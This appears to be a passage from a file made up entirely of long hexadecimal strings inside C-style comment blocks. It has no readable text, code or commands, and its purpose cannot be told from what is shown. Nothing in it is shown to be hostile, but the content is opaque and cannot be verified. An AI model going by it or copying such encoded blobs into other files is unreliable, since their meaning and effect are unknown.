ebd47cd32a5baca8749224998b97a45e6d1e26adca08ea99bd878a71dca017b6e0162b71e556456868b2cc3ad972566aef9a735a16a580905bb1ff0fa16747c5a57e4a3f4cace7005c12b98efd7269429dd92f99dabc47d12ce70bdfb648eea516d125b45c92d58e167609cbdb852c4d8731afa6732c23738cafe88b1f8d01d82250c84dc4419cbd66382eeab41f9396bcd74d00e545d11c156c399b6531bb2226010a1ca4fd8997d1b8e8fa43a2ce6c0dedee7318a922c2c18214e638e79ca4debf6c2d5b34f11599bea7b8f719adf9344d6e5b47fea9f4469e9b97af9e184fe482905286cdf7bbae826daa664b70691923de4426d13427a95b5b2eeb06141de076ed3239729a90045e05110ffa7cc2c3f63312d29f45cd91db937744bdc1ebf47da229521b1d6bcb63902aeecee4616*/
/*c7461191c412021428442abb9a4e16a2e077e8a20f4d771d3d312e32a7c1f098339540f341db64743acc5bcb20a31ca4f36f7988ada24d80efb71b824f7b15fc451844f11688213bbae07ea423b56cdc048d6be585214f1fbbb45801f6e8ddc50538d5369bc8bd244f6f4e3fc68e13c6166b49e47b9eb1cfa18a335d9320f0219a422848909946c0341309371a86e174305024e861e1de08dc9050971eeab33916d1c0bd218aa4b55a43c2980db9720a0aacc95df50d7f7577d62f0f1d820be44c518465d8b26a4690a605eb43c76d1643c2c4792b6e40c1d4cdfb5efeba16a49a476dd66ab08fc3648c28e552155f59e84bba9c6746446072a0be77102e2b95219f134ce6aa8af721aef78c9cd8ca91d131e786c6d024eebd999e85dd3588b630944cea58577c0360b1ece29fe4a62b4f109a3f1b22658d28f59d43c16b84b8c16b8dabde26491df5f87397b159230bc8a5b7607e729e0aeda6d9509ad96b9e1779841f3de80b221248535ae42f518ce0016c1ebe659935980c1ee810d6c2e6069425bff8773252a2f68ee9fe4154c2673e0e4a813918849bfef60e38daf9d263f949ba07c0766576001291a272c4e7408170b9a602a47844e8a6a90ae5c4c0981709b1498871ea91eba6603a2ff3cfbb18c93cb4eb57e9c4ac846f1484f540dc1f17add45d3e4f64596fe267bbe0b305934267a9c1168aa91244ee837ac406bfb06b2d50e388ba9df725e690d44ca493e9d4d465678326a8f3bdc0a0d650d5b91f7318011a910d0dce8e2818859db5b899f269922c3496815fce8d140a45d81d5cf1453910ec18ba232eed213e18154900a20a123fbdf53b6180c746d000d159f54071fe95a4b73c7ff47dd7c758b8720e184daf37b000726b0341c345111d3f1cb23d5fa47bd325b79c276f44af55ef054f13d0405a0091ffafdcbf926cbfbea7619fcffaf0d1ef418ccc8879dda775e0931008ec0acb26981bb24b55a36690a031d5f8468d2a984b3693a66d4205a94e680954ab914833077d5aceaf8e3d08317fca0e0a1e08a3d0a4d4b881960a4cb374635f4f292236cf6c2b1090d348b4ed09b44cb56ce4f3c9dfdea5450083264c3542872fe0f711bd8b928cf2ace3a04d143d376f647ffa21d0ad3a7323c9c0ea60f9eedf38150f93bb2c7c5644e83f1e1a3521f4520819401ae8f3d1d0f64ca0a76a613812b17be17c8d96f67ed862a31aa03bcadb46d0e8a9577d6e37c374288682fbbd480a4806b987250de2e3feda377302c8e032485d99b6daf7c99f41791608a53b332744fd8284b5108bb6049e9f2496a9f08a575a5a8a324f7b612dd87d608164da64122a39993c008aa9af8f77e586646301d60302f5b97236e68ca69dcc741838ab4b85b76052038abecac515de6e307407bc1e022d2b6ba2147e45c19e13e59819b5c3003abb6415166949ebd70901f773d56bed31a5aa816321b3d396fc08bac360f497a4d66fd0c7343d7f8b7aba94f40f58e57e2433ab7368c67ec01515371f5387433112afec1c0d075b2d7b7414d5bef95647f66d6c81627a9b4e43c74050d0da8a04f34d06ebc72c3fb2fb8d5e1123bbc97a3e892c9e86cf457b6b4e4e81665e4d62a914e02565e0a0d59b28ee2100736d99de24f45274c551748892cc2de39019d80388457e7c0e0998101d87c9176105c73b1c73b89a737bbdbe46161b5c49033129a97dadc9267254a7ba92e2b6d1962081a9728193a9b1e9f7d8883d3df4e59f16d02a9e196dfda158d5cccf0695fa62be8027a3bcb5500836bb4f3c8930fd611a81fd5f4708a546d15e099906def8a1433fc3c8e738d61d7f5b6ce1cfd878eca152b01fa9597ccb4c930d3a084ef6ffaddcddb3d94091b6f650cca3b1910aa8046f93bb19b65b55c5d3ad56e72fed3197b2f286ba7b8f240fb5af926f09ac3bda55370351eacf6474b80def4c4e715ad8deb10a3de20a10302abccabe5e8cef9db1cdd567480f8e00047af7fc7081201f28cb786512b2f7c1a622a7d120f4cd49999eb099f207269a198c2ae606265b9089ef19c13b35a1d0ccdba01c848aaa16813a5304198d31abe766474dc6bb081ba9387307e0d3e67c1c87df6a47a9e03a4a477ef4b82a1a1bdf076589ea3130e7fb4b7d402abb8ea0fc43c61afe0459f76fdf3f51f2f9d7ace41e8f2b479e4504790c1ae892e4b55440a1f7269dbb857ff3d730a32ca2f4b7f4faa8fe3628661d0dabc1ea1755511585003c5a95fbc18014993bff550399160e47b77868a42f5d36d4167b37e73b56c754d96d5f41e007a920d9cbff7973d33c75387497ae5acddcbcb8fef451dbe68849f5914c029f4d50b7c705ad973a659a5107247f7ff68a524563021342c0a90a54cfe455cdb37cc95b82b7a697ac14aabb5d2af35603e1b7710c4e27a1066276f721bd2551eaf0ef0e9b94ce92d42d2b82733a7faf0afae6ec7f045b23b4b509e3042c1a97ac16744cfe4b5f066c85152153108f63a5df426183da208d74b7b08f62f45db6b857a365d5ec8315e690f2d3f28b4416e3a709ee5ea2c2c587e2153963f6d7438f3a915abaaa041f6ca104c06fbb21d8928908296041fa26509f04d04d8f00fe61b06b7589ed8ba13cf4c615d4b8e157d5aacb0de63ad2a4b0c38ea4a1a85c653b0dd278cd1c52029edaecb30031938757d500955b180e4340d0dac127d54cc7fa9f821b43ae69e38092df8c6f7f2fadf5d235b31ecb25be7f3b5e59330d6dafb5e4b8d67dedd323c01321595569386185a3b9f09193239f06601a008a1144b8aef970cbe78407d46547f327b91dc612321da8abad*/
/*a7066aa0299eafa332cda9e628ed1062440e212771dc636827e11fd74df499aa8c9ad456bd1b549b6481042f7b27cfabd278804ac460ed936b058c29ca7fdff9568bcd88446cf6398ce07143f13c0147296757abdd03f94b1ae8c89a3fb0260c53188065a6a22808f82046d151309c84fb025a849412d0ea5d47e2e14e648a6c8855a1144221aab94626d99e240538dc4ddbea287e7e24457a98cb1bcc57f16f54a646f7952d8788bed4c01ad00866a51a326c930111d838231d866030bb33315f935fbfd18b1ead894d7192e322021aaf2a393309f05e465b77953174783ef44d633655c40bc9f45857e4319469a7732c5682ffd7655a8a526c32b4856733657a1d84ca7143c9b9edd6023429828d46759d512b04365d53bfde9982aa71f0e1187af2de26eee881f1c6d21007e58daed9349e7a593d125ed8bbab9eff0295af760cec8dfb380a5e459f7c88f6afdaf881d06a71e98116ab78bc19830379a1adb1eb021dee02347dd942b2d2f82725dc5ccc81576dd3da05ed5413211784cf340d1ec5aefb21758139b413cb010c7cb749a8d1a216191acdf820260855404feebb9178b90d714b3b4b3c493431b9b46cb71f0691a7e68a41c9439a2fb5b159baeb0bbc22089cc4a9579c740c49f081cd5d3c495dbecb5b33dc266028a7072cd940d7c4f3402341abd0fdc92a9b95e23f5e811637a0651749a1a900423e287506cc153d88cd1fc517662b4c57d715dd105b5e6e2e58c2fa48107698eb83247b11e6109e417e3c3ad9b33ed0bb9c291292d1bb17e9ead4c753bfc96b52775e80e0ca51707cefc963d0c92c787fd35b92b634e3bf1cb784ab70b4595de2d3e415b047504af4d3e3f86bf9addb11238fe8e29a68f8a01ffc76df19ee689e8feefbd92814e9750c856cb3b8a31406c7f95c4c6b8a1372742d66bd2ad97eb84604a9a94c610b242cf324aeda4d06d3e0b9be2550ee0609cbc667a2011f7b008d4644d6bfce9735ddb5de0d609d2413babcf8ce348d8eb5e66e4462e1b937d8e3db9f74a2be38bed4d00e5c2f2930f6a3c596fdc0b283f4bb2f11a031f95d55b404beebd8a75c6cf522d65b53827a30b488cbf6c274b8f2b656eb399d71ff63c18851bd124d3499a6ea0f4440109eb64baf1b517da296931b95f2675fcfdbb980b26a792edbbf8cfe5554753dbb617aa7cc7f4ca48de7b5ebc5fe182674a12e6fb65edc941ff49c2ff834c1d9289cb71e63307b381628c3a3f2c49ac1da168790f563db427cff6b33f9e4272b00cad04359bb2389b656770c0f79e71e80c5a0053bb49cd8be2e1f1b9869fa2f48b19afbb613aafce7f9fd9db3dd904c3265bdd1601c7fd9bc24fb22af3f6b95f4d0ade2a022be8cf08c29bac9b730c5e6b75b4268122005d5e23b37a5e4e4b965667f970d67fab11d35fef933548f533fd120d8ab91b861ffccb1b3fd03889b19a3bba53a6215fd924cb70c0c6d10f028e97e274c592d8e394ec730e4698d5b663bead856fb469aa11cc2a33feeccdd0fbbf84f3682f636bda21a36ba35acae3fa855cdcb7a414b7f7571066231831009e54f35fec77aa66ec711fb626fca75c6e1013a134ea340d51f5878baa0626dcac228b75ab9d22ab6e665fcb4f0616eac018c85b9f163f4430281231ea0152264d4d9a093ac9ecffdefebc36f652baf6f99dea48e907c4bc9755ce153df9aa348d561a717c60e1271b371f243ac24fa6975e669e7a4effa2df73a019ab8464b42052fd26a3301629aec5cd6ba80e7b0561d474ba243cd22bd21cdd1e6592ad8d59daf6c91b8c98921350ba0dcaf311d2fbacce54b5079e057cb3c032659af6c06f777fe8f6fbda760b7dd39e8f7cee3ef51168b2461c16916d6d37d4223f1f5c7a5099c8215b975273aaf214f50575f0fcb3ddf761e8aa59f167f1da36ceb851caebec03678f83aa0fcbaf80ed900e3cec0ba4163d70e4d00e65eca6abb941d857244c9e5c342bd587744a862796e77db8b4120f95523ed81ba0bff6c00dc4ffd594d03d97c06d2dc03d0f17644a3c19806e0dceabdb0092ac75a249769f0c1a88adc459da26c3adc82b7da0457f12759e4ad2d2c61799a67d1a617d7ceda2ede0f1fbcfce8c761924803eb0f6ecb8b93ba0fb3a7c10b8722ddd976e34cc88be3027e06c78f5abcc926b536f2e8c1627a91696785b8a381c01371049bb52d72c58b884e375f12fa8e6a3409a724054de272946b5e8b40c7c01014a95f2924c4cbdf4d24ebc0dbc121c58873604f8cca9173934a0a5e98f8f72a5b10fb92ca7cda8e1dedcf75ed671095493208875efa74b458c9d9d2ebfea806274431af2954102ddb073849c5e8992bf14c11477fe4f334e9c6195aae305319984bb18ccf947be8b8288c1f67aa51b610b0cd714efe73c3660b44d76fb3dc07939737bbb0e09d3318ae3a8e9f98a0743cdaa97f82447f0fbc610ecb18343e879f3bb0c9a8e89edf983e312bcbd6d06ab78b9239387575123e55fe94bd25f53aa1d678ccea4410f6b024686cdbade5fc5919826d39c7afed68cd64a9764f3f31d9399518fd81155460cab84e1622f0004ca27b7481d4266d762a327c447cf5ed8b85c011ef4295022fcafb6d4c22fb1beb6192ce431dce5e7c157c7ce1ca0ab0c7015b34244f04774661be4550926d41a1c0e788dded44997942a1e5239c80aacb85b57a9845ff86747a4da3f24cf11c10219df8b7f4e113b5deb748b74b1e258da60b06f89e2fa5880e96e0e2734ad889ad7fd8b22583f49b1b0898e6b21f58ec4901e4989bd455c6350e718ce409c828be62897b390b9073ef051f05*/
/*70c80b4de471ea242bc23f8295aff9e7b2cd3736a8b1be38e508f283a7fea3ae431d47c2c7a63468184f7fb397d06a84d44066c01fcc6b487ed3a85a4c05db192c86dc24f5e091b4aaf2eabc0a09d068d32c1a85decd0b6fec794491d24006d854d8b4a92e7c8d4f94217516b44328f78810e2ed19e610bfbd6787d62ccd185f8da76342fe16da88e1aade71cd6882ddfa155cb7a4a2263f9ca14c7a0b273ddb5966a57f92111a44ace7338abad33ee0fbee6df85212c959c622b80fa08fc9a09c62eea9f26e87ff5ca8ae51e595a39c254ab8fb96a57155d73d80a0a743587423ee7ff3a5237acdb0e56c6bf9182e5b12cefa9f786884d69bc9f7f911265fb32b4c8d4360299cc6e936e2b6524f0078ff66bca11e89e56d25a2d34d2619dd5826af43ff229d460c65323fc7339723fa2e6ce5dfe233a871886275d3711122796958d2eaab05c49842b0773e70b50990c7646e0adc6833f292eaff89cc012a894211bfa56dcb2c649f789e833b5e7541ea928d921602184c20721ff8d035a3732f6452f222e72764ab6418235a3cdd3b4f4eca343a75e8a4ab092ff569a4d62c99e2351dcc84d719c7fd0788da396909d1fafb1bd2f18c80d5a075eb6c359ca21f1e71568e5df4db2eee2b505caf6a5d16c158553b73114893162858edeb259d52a4c3387f58f89f5b8a5a88c301301bb6b271fa790ca5496db65079a5b7ebce5f8ffb77688e5893dcf1fa1cb161f68c99de198c63f2f97e4c2e82c10e21b665303d2a4b7f7476a645c7e3f161b633d8382a86d9853236d1545714626f04f1cff5eaea90a3af24e28f68845c9f9807268a57974e06114622324e66633212c4b40486e008330467711f7a135a977ec44ac6371994524f922fc504ed3a4fc1e47ed60729a38e4839eb8b073b5b9e6b8126d9008bf0a129ef44262776019d9399369ae49ecd68c6317dea8f34c674b5ffb5793a79856f5e7e2ef4149865e8fed799bbfe872cf07ef9a23f56356a7f878742f8259681740c00694a56c4a08ef98c28373ebc7aaa174bc156c43195da0cf461009c472aca7885215d4a35971e91b04b486ec5671f496296de5f9a28a598997a34b55ba982a8949d95ea3cbcecee04bdb48d8bbe2751d5434d0bc7dc477a427f4e1a1de334b287b6436c46e861ba419f9a4726b3cd15656b9e1e397c0a6c24c5598f214ff2238a378825d809e1b8cbbfc39279e688bf77b0a5f83cbb071478beeab5bacbe1b3134888453922df1cc8b73268137360c84d0fc2f05b8d522c58fef2d267912a808fb2b42b28b5f266a28b6cfaca73eae9d580b0a6c304750ab3370fc1715e3c0d0d82231201b6b9e18f8123cd2af3b4f6b929da1f070bb3b65a589ef9fdc3d44587fd7b83c0eeda8d97c2aa8ad9dde98e54c144d8a20f06add9332c61da994e76c08035101421cd48c64fbbe127949a07c8a734e8b4d0b2da484b78501cc40d6e03c8350e43e84e06d1c63a400925b8b0326b86f8c3a2a91295456d08928b56ff30bb3c188b20e5e76b0de8b7e97eb37eb63dbf891c9a7131e16ae0da6c93b8b55381fa2679c4a44992d8e7077c00ffeae8235e33cd72cc2ca814f7303df64f03f13addfbafcae3f12d8e01acababfe5ce2ff558c6e1131a13f5391f50a456e927c69b6982cdd709f9f7ba6b27811877e333f35d2587ca8bc17c2a1fc5069ad756a851eb5da9c082f4f867d700cd15f3fdb1af057ee7c846fa7af586fc898e907df6155827dbdaa88c665bd6a81c16b7c5106fa89fad42b57b455db2f8ef95ff792bbad6416b2e3d91cd51a4b89f72872a6cf0b4eab56f6578e044353142adbbb806711186f08886fece1f37a48ff8e755634047a30f9923c1b9c2527e446534dce874685af02f6579c9bee7954d1beef85075e65b96586ea5611f85456d9ed8f01bba1054a6fb5142d5d064021672543474e0f630e158511a39ada827013edf356eb65e5c764a7e36bbd99af3ddca39d1e80316550f025f58c32d51ee6185d720b735feca1132b1291b27c1c2286cd8a136fc58d39ffd90d2447951bbf822164c2463c7faa4797fba792eddff57e7fd8f4239cb2f71bd0c26e6d51e6cd64685eda641de3f09af5e9a1e897cb1004a0d5b59bd86111d16f46f34403acbe2c033067ff08d94bce6bc735795fe555bea6c1e17a88af94c297bbf7a43ff84fb7932c80c78fe4be686969d189eade9a6a0ddbc7e84e07e83cd0064437cf72d92dedbed8c8e0fa44691521587f569d84266dbcceba838a40a4679345fb4f1e3b62c3d0bd82d0b4c8370c325abff23bf63bf166a4ecd2023aedd1ce1abfcf3282347960b800e56186e216083ce29ec95944ec2067da86616cd30baa84829d21f4a26855e1ac26312cdf4e2acc93754d34e4fedaae394fb5d0c4dcfcdeb07cb1dd0ade9c10f4f9bc5a6d3073e1273853e31e837b49d126da941e3470b9fe1efdd99067302e705c87b8cdd8a2aca1c97980ac05e135b9506a007a841d9ac71577a5794dd12adfb19c64ab1adc27db620ef53a12fbae9e0137bc4a46090502c9e22fb7bb8e793c836f1b5ef4f7cbb12802fa561923bb9301cd997bd5a5143b7acabf9a2d83ebc9051cc1575e6789d40b9dd308c68b53fc8db9419fc3a8de11ef9f77f917c6d61847c408d8c4a896f047e11c202abc4eb3c73f7beec9bb8e1aa7eedc23480c4cfd377c32c4c948654981ed4ab96749af783011d6bb7474ee728e9a21cfc32a4f1f11b5c21593c1a51aa9e8ce9c4e0672b92eed7905adc32e35c6c96d154a7b3e45fc70b8e457eaa20b52fb57ad7abb593bc840db8737629c67*/
/*4fecfd5abcdfe519550d0297c90b573251b5cf7c5d6c1e015336f8301b664847e5cb2f612e2e58890b1934e7379d5553a442d4a17f1a58d548474697e3085846efdb2fbe4b348b7279ed4a58ded5643c6c3d698aa652b3d82aa0406a8dbbfc898dee0853c7a22832447f0823fa7e468c3cf9cfe496d87228d560009c8c30f4d055f4f0700515d5b37deb328f67fe8f61b3d1abb67658a39b7b75f13c0b745474771f3e8299876ccfa3fdabea752b69f910f55ea2fe5eb02c2ec6124926b8adf3f4ddbcc7988aa1b0b6b2d3d2dcbb79a477624f2d6e4fba1edb879bd2a3b60d6fd9cf5a9576e6d5fc015d5f3bc473a23a1ee494369cf2f62fcfea5160375745d0c9ec6ff26817fa9c98b7eaa2dfd4ea4f08d54d7fcf255e934b0b77a88be516c537d67f7372772b872f6cd48cc989794336a2328628fba38b0f1af998ab609432019b41440b05ec61fbe535c48198bad342f74fd333f0f3b05cc9b572fe092adfe115ade797d19730785b08dea41fcacf86199b292740e035a01b53270738ceb0a57c56d9b4ec93174445cc42142d0b22fb9161ba59b39334b0184cc376fd58716c3c25c6b8cb87b7d55057875cadc7cd49ace83e1255446ff3351754a3520e4c0324fc8fdfa1f86705c98bda1742856db48c7f8141e1ed64ca1fbfccb36f98304fec16fbdf5ebc75fb1e35c11442da48091bc50f4f2cace52a1b3642bc5a178953a0fc76d296ae871add1bed00798a885ac228b5b50b7cdf0f73f025cfd59f40150bfb247038bb13a2c72f6ab039424aad16030fc7bb4b017cd090d815b377bbade7b7ded870483ac5b903da802281089a9b8f514828e1d9c0ae41bc8312acfb49bd6fd951993b2cb5104a727f043fc2ae8d725250d5c8833c6bec4b969aebfe43789bc92cfbdd569086558ea99523b11365f21ee6c81a42756900705798acce4ac6d2f6575fe554546ef25b821c9b01b62790b4038db539f3be17375ebda87338f7071a3cecbb1f5aa21f113507289a51014aa5be8d1e5a4ac4aabda638a6eafcc756f3c37deda664a7fe2d1181e6e0e610457f24a365a6643ce40d7b0013fbb96f0ca4d7509e1133d8f4e701ea7d580eb974c57fbb195e6d62616f2b5101ca0fa6d8e24a4a9fc9e8a0ef47c95c3e44742718e6423fe726a9299640eab6e557dc16b33518d77376df57418ab41ce96e3782f2e98b1eeaf78d330576f27dd8a16e74b120da6747362b52624c25b96e63dc32b2a86f7ef6b0d400ec1740ba65022a0280cd40c832b1851d7c8449edeebe510eade5e2b2bcddc8508ca774d041002511389b3139d83288029c1d13fe47ff81406caf94a0235adb9258de8b4fbccbab7a665de025f81f862db1e0dd98bf0354f2f23a6741f2ebc42a6ec7348dc3332787fbf8102bf61a594f74210756a0a2e0768d7a5bfd19143addd1d9ef22043084c4359698bcf22dbc93707b8cb7fb3ff036bed5fac3ac51e54d8cc0431622e9ca5817e6f67142d53b1d0d7b072d061003ce9f4fffc7b3a64791f4574ee190c18341a047de9f09a4dcf5e94b9d188cfb1a0f6b12de3d9ff09252972b2f76b7a21e3051febcbc34d9d2005450ff76837c8dfc3c1e903e86358b938cb9552cdd31980844afe72d1a872271e049021329a9cc2ddee921f08f2125e54073ebe51a8b1c42797ed02bf3a962ee87fcd73ee3b3582aa0048c3eff72a8d3b90c31d7378d36cb282a155cc7cd5c3d7d7531e29d82da702e6c60cb3f996f038fa15c49790c31b6409ac9b62053671dcd7d32bb705de215b86be7fefc1c89e270f52a8319f684e3cc0096c4b7167811970584cf86dec4de305608e6d2157b7cf46e3f5a467480805f8938c1f2dd1971d231c193d6c1baaa4ba87f1caddbeefd1f57c050bb3a5a4fc18d3ef95a51da06fed6782f7d11ea3095e0604dc6d311c833211f86c29d33b94cead0b0ab7f0df5412fe8701d36a3d60d960e88ba43f8c96c15b38b522b4d2f82df66dd3ade07c972b9bc72ecaad4b4d598d7c7ec1869c0285802fcb8e14a4b94d59c161e0e6fb8630e1be13be3de6af072c6f5987f7badeed627daf64c69274783efd9622ab09f504aac7cd4d24398b4bd1b24300ea4c674d4c13b3d40f452ead4609bee40869c6480f1a623e0fa3aaee3a6144ca9d38c830894c6e8780fee07d4031d3956d6e212dacfc2b440a422a5794522e11da7738801f57a1e4511aec871e90e9584f094038da3c3df9a0fa67182fbc378a60d0a310126ba3e0cfe2ce1a01cd0618d4b90a27ee60d4d53a264d6799109c7e53f19c19e1f2e0ba96cbfcd3ef15e9c4902d2e5f7dd2365caa075bb50391ea5a89e8bf9285ac673bf347d83eaf871f4d4932dab9d2c6bdeda81a6aaf1df112a4553488319d4f49d2585042d4e808baa6c56c1597185b04be1a5f467182f8df3d7272c649ff5b83a8d9803fdf4793ed36b9c3fa0dc1e592caa4859723f1e161b767cb2a8cfff72403072f65585d6ab6537c4c3e0919ad4c072dd0c1a244f2cf74f7a5b7c94b730ce3635b7b86cce8eda5b7b5ca9c97a55650ef54539032b0fc440860b6b4055aeb18d3b1e96ee1ace2067aa41e79b64ea6116b416b668fdf6ae96a1537e5e0de9019497f7c84b432b8867562ed06df8c4e9ff68d195182823c724a4d7a99b290819c7dcda35cb5080452d809109633eba67dd0f2aebb9dd965317b3433c100cc3193bea545d0190146f0b7d52097719a16d9d8197734c59243fea01c8a3574a7b405bd62f284096525900c67723eb7d89449e73a81d5cb2967536bf75572ac8ac62147582987c5bc2042f7b7f4f87c691d009*/
/*8a1e845a59c19a84a8edbb396c0a94b3a05ed543c7eea54a79df8f059d1ccbc24befc9deb0f6e326be56fead8c0dca5a165d8af2cf992eff87507da1c3811b1c4416c117290941b1214bcc3c13a66f6a7ee90ed830b1297b70c17c706559fcd2eecd5e426e8f527a62bb003dab63265d7165fb4af460d3be7b3115b3cc9adaf252ef1c7c9b96597bb3272ac507979a616cfa55d395dc651900c819c4d58b0369bd310a68a625ca103bdef9e980f1a7c6daa5b67b1e2b593320aabb01c465e9c9e332df8c623b97e542ee22348813c3f346c0623318e9652be88480d004510370e9638daf30ecb57d6269c6baf4a16ec258d7e6db82360c9c148cb1fa7af1ec3793dbee8b99fe995382da0cb94e70cf7c1196037197ba7af45cabbbe572a909e24c3851b01981a7869a8c08b34a8fd7b549a67cc577c5f9fb7152dce7f78bf6fe50398173eef7f04d9e2988d22a2cd98e03171c6cf117bbf7d3312e9cf9a20565a49f9506d64629dba1dc917f5d663431dc948def7f8d0f477a36de13f1341a04c639ef73dc367173da4bdeaf2b56ae5ffb3f2ca2774e71bf3b15f2d9e853882d21836dceba324b5e25fd85f8035fa186909c75e7affad94e42553d1f9cc6a9d838f3c2391e0733f14793a26e4fa78a626168e3217e703bce49468fd7385851720e3d1bf10fc162fb676176c2e6dc4e0d61bd2067019dc4e6f6778b294c72491868ee777d17adc2efd243015c652c3324440be64e7e21a7956d51387f8c9f22abcc51345109568a4b744e451c1d933c4884a767cdde7de618c1a4c8f1784272c2c4b1251e8b758bcb5ff02ab262d8477c49c18064b44acad11e05d17167d660edcd27f2346eec162eaa050451bdb80b0363cb5c52114dca6ac437a585a527887f9a63c767576f85573147be88df91823f32cd9510a4a9b9536223c8b18f939d7cbfed1c49b3be4f6dbf479213d16875dbbc57bf3cd2144ee3f405e9e860cb84ed485f882cdc9bfcdb22b5081df08017877d4cd2869649d6c2899e040d1a98ba3863e1d660f14f45c0647f1c4afdf4ed8a33aebb3a62ac42b8a1afb5e960073a0fce4317d8b908e69e0e2fae64d658c133112522d11653d9d98ce53fe94ef980b4bbc79bfc74dccdd1194ff30eecdd9d61aa7135b13737d4359cb56f76a0b135f80d6f898d3b24abe3c04110e7f40220872ed558943c225165d436eb013275144c31345b9ae5c3ae48888b80c58c7196237873ad083427b4985bbac95a77d9b95034238c90ba1103b72d8d9f5438eb37b6c156cc0cc351c17668be009bedabbe9c7469f2ba5b6050592e259baad4979d9c41f75664b6aaf8aaa9b82e2c334256ea4c8e7d0304efc52e8c778cee56d07f6605605b17f0904f26c8285873002a01b86f9917855795330d140dcc5138cd23869ffc854f5d7e465ba0b050fc32b6d644de3033c2657e174a207d7350af625b7c4b812041ed427fb8d056086d858135a49521dbdf93fee7b96b61ee90627e89494f64faeed2b32d977bd5c17268661d69e4eec523b6faa219445c055c374885742e612923af87c4f1cce500cd46cc8b43b6249ab17facc2515d99e2f401717ece89c7d841cbaa56ca3e814669154cf3c4dc9b25387df98a80670cfd500f7bffc4bee776d7b6e0f04bb0d88f179f825e3af913ce90034141c3669addb7de40a1e97b58615554f47750a30eb4ed38ed3443895e690d1cc2af7a0d3ace1a5a957666f1b1b866910fa5373edb0ef4b6aa4d4260673542df3ea33b8c5ba398fd24d587c5e7d9662b382c77d6320d86a65f6d3fef5376396babc691a5b99c330f69cfdd086c8cd102dba78514457d1ba1d952a06071c7e7f5a979b768e2f13206eb623e49dce682bb5da1a1e7936749e08a7ed51f77a69a964ab71fe4259f3d22c9511f8abb00be5f10eafac4eadd28a58d8a8c32f6d404b5b61d2b5cccb1b0267cce95c561f4d20da2bb7e4997017b580dbebb3253c5c99488555d8b37376d8d55c18309056249a67ad0fce80c202b6decfb38907e206c62ee197f5df27131465d384e25072130bd033c531d65be3680737aeed9c1a61ead17ec9a1e787fdd5003fccd6e78e44eece9dc4636261a136705681ca321a590867c78e31a76a1a73913391b64c96ab339472df33a926da54e4d6bc4fedb69f5fe29160709285dd857a2ea4f27a7836e46948da1c083d9f97472928a6461559b4e28b64b8a5c33b8bb40b7af2edeae924d4a992dce942cbfb0b3c34f4b35e1278357cf4541916864296370517d101d8b1aa94d2690f5b63a9e3baf6c99b87209cc032695ac1686b844aadb4b4a656886859a403b6ccd66d13530aa9cd81f584205a51187530e01ca353cf3ab4fcc6a2d02ac555ddb6ee35e01e41bc7146a3de4205ff83416c1c9719c769717c8124ad0b904ec5dd35a341cb040e4948a9a906c24b48d99543726c9a0a3a7ec3e96ef2b2c4d7ed2f31bf9e1c79758eb52be7a15391bfa7080abadc6e8bfa825a79daeee44d5cf85cc08f3813bc660874a488c088ccda26e7650eef5aae6c96cda64cfa4ffc097fb923ed813d6fef245336df2790ed076bcdbc70a188500a29bd27d62315c4c97459f0224e90a649da3436ae5d8413c40a509934b5e657d66cf3d3fbf305ec9dd6c1deb73c823ee0d50c8f79f5c1506b1798b27df71a7391725f563f5e63d2f4840930f25a1f2348c0bcd9a9460e60c1cc272748d0acaee1be52fa13b30f09c1eb0acd7ab72003253e31baf582ae4af99f4083548840dc30e7452f0cc95ade11e1e5e2eb0e94e104d734b5210009c7f65aee7056ee777cab849*/
/*0b42eb77069cf374a1c2879a2108e437be1175395bdf2752ca7b7871533d8e00ca0ebdcfa5be74dffa65d8249f30bc436d682c01eef06947a07ac62dabd5ffca8dc6c032d2112df931d9380752b3d3b8bc61cc1daa7096d9bff9311945f87492fd7fdb1573de13fb9c9e87c39d8f359e1c94a90d81a98d6a901416b7606a4821c88a7b249dcdbd43cee9924224af4233d98612e0488e981b9a450a016c8425a5b04bbb0b9d6ee127162457b8a60073bc547b83e968f9928aa946456fb6834a5e33fc9790b4809f65e21b144f097b3dd4915f9e1eda3c66ab7ae6588edb66cc0d2ce5011f2ab196de7bc028ebe19e35f2e863490a1f35694284944897718da0f185532acad700aabdc7437277809a2f1c79358c22d36724ec07427ab3052de881ff7afc0480d643b3e8d55ee2cbc991b127819094a8b885f2696a7e6061cf627da6842f2d9d4b043d685ba5fbd7dd34fcd78c95620fa57f6d9f522380da64ba0ab1a524b4d32583e3d843db7cc5b58c864566804b8ed93f70244bc711bac41528f0c2312de9b1724a165181fca714fa373979a36e639e943a31ea32fa1187f423825c92a618ffed5c39e415becf80959664454ec6efc066c86f618fe47c473558c7bf0080e57a1e5409a98cbb67f623ec2dc1004202bb14f193bb29054989f0a2142e8c0ae8127ef77802b905f04c737a6d7f31663443ad292e402e6796d16be7a9f45c5b826735fd50e63b8f44ef1fdb7c13b5366cb65047bb597f6a42fd90c3d9fb89d688d4ec26f00412798c857590221c281255bbed6c3094d50cfa3dd121554cf39ba7045251737efaf0d5665300cb12d5a99c6627f518f66701f2ab5eab400d04bf4990cf30ef82ac936660970edd280ed30dc408a4a1d7eb7932a0057d587898fc78f85e9869ad7cd84d30ab60be9299570b63bd3b5cbec565caf1a57c5c055fa14a7280012064d7465b2158dbf54fa86e73c5c21fbba62452d5feadfc062b72e91020cfd4f76726d2ff108d208b4c5f0682f15070d91e611319d4b4af8553f1fbd69d3a6d2022899b016131bf4f740b45b209b816eb0718445b7856688ea41ea732fb2c5e748d5a86b6509fe81011f21b08c0f811ca9bd8f5e96ffc1a1ddfbd9ba2d118226f8ebdda9f80bf7469dbdef5a971465d498eff6f9d3b28d3ead9f15956e51f82f3f5fa653db0a88ad3da687523b0c892d076813a1089c2bf7bcebbce031c03abcea0fe57a3ae17897874f73f60e1aa6d0f1d05a79d8df508f3f756d85d95034851ccecf9a148a5420ad41ef70dc989dadb4802fc6ec628e36a506d39eaf1e293c79695ae8e97786fe4d4bfd844adc30a066129f0226475149f078d15a568a3bcde4f5ac1537d5832280a666f73025e613678c43575da6998b5998cc263ae43591703c3ed217555bfa5d51dd7372873e22ea0eab2fe4af43361f69b5e7b08508bec1c28f617ed782b2ddfea4cf9538b7f79f410390e209826bceedef50b4d4993834ab43c8d915b6d9e183c6a456379ca36468c19b00ed47dc880db4cb93c877cf116b1c89012439c1d6d00e85382731b09dd4412eed38958f5d245bdb6b538c2db497291bc80b4f1c3c1303ce7eebabfd20c7c77ee5e48ad756201a8b2b8ee2e67a8aa3935c4fb935d9dd1fb7f9b3cf11c77c6bc2801e43643ebcfd49f0a8ce45acb6274eae6820f94bc171d449b165836a50eec52a2adc4517e1abd6ed29e80df3f5cebafa